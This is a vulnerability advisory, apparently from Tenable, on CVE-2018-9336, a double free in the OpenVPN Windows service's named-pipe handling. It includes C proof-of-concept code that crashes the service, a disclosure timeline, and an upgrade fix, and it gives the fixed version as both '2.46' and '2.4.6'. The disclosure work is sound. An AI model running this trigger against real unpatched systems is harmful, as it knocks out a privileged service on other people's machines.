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[R1] OpenVPN Windows Service Double Free

High

Synopsis

Windows installations of OpenVPN are split into three parts:

  1. OpenVPN Service (openvpnserv.exe)
  2. Userland OpenVPN (openvpn.exe)
  3. User Interface

The project is broken up in this way so that non-admin users can establish VPN connections. The user interface communicates with OpenVPN service over a pipe and the service spawns instances of openvpn.exe when escalated privileges are no longer needed.

A malicious user can send malformed data over the pipe in order to trigger a double free. Only providing a single NULL terminated string causes the service to drop into an error state that triggers the initial free of the data pointer in the function GetStartupData. However, a dangling pointer remains in the GETSTARTUPDATA struct. This dangling pointer is later freed during connection cleanup resulting in undefined behavior.

The following code can be used to reproduce the issue:

HANDLE pipeHandle = CreateFile(_T("\\\\.\\pipe\\openvpn\\service"), GENERIC_READ |
	GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
if (pipeHandle == INVALID_HANDLE_VALUE)
{
	return EXIT_FAILURE;
}

DWORD dwMode = PIPE_READMODE_MESSAGE;
if (!SetNamedPipeHandleState(pipeHandle, &dwMode, NULL, NULL))
{
	return EXIT_FAILURE;
}

DWORD rwTotal = 0;
WCHAR init_message[] = L"test";
if (!WriteFile(pipeHandle, init_message, sizeof(init_message), &rwTotal, NULL))
{
	return EXIT_FAILURE;
}

rwTotal = 0;

char data[1024] = { 0 };
bool success = false;
do
{
	success = ReadFile(pipeHandle, data, sizeof(data), &rwTotal, NULL);
	if (!success && GetLastError() != ERROR_MORE_DATA)
	{
		break;
	}
} while (!success);

return 0;

Solution

Upgrade to OpenVPN 2.46 or later

Disclosure Timeline

03-10-2018 - Vulnerability discovered
03-12-2018 - Vulnerability reported to [email protected]
03-13-2018 - Tenable attempts to establish contact through [email protected] and [email protected]
03-28-2018 - Tenable attempts to contact [email protected] again
03-28-2018 - OpenVPN acknowledges the report and asks clarifying questions.
03-28-2018 - Tenable code snippet used to crash the service
04-05-2018 - OpenVPN assign CVE-2018-9336. Indicates release in two weeks
04-19-2018 - OpenVPN releases a patch with version 2.4.6

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

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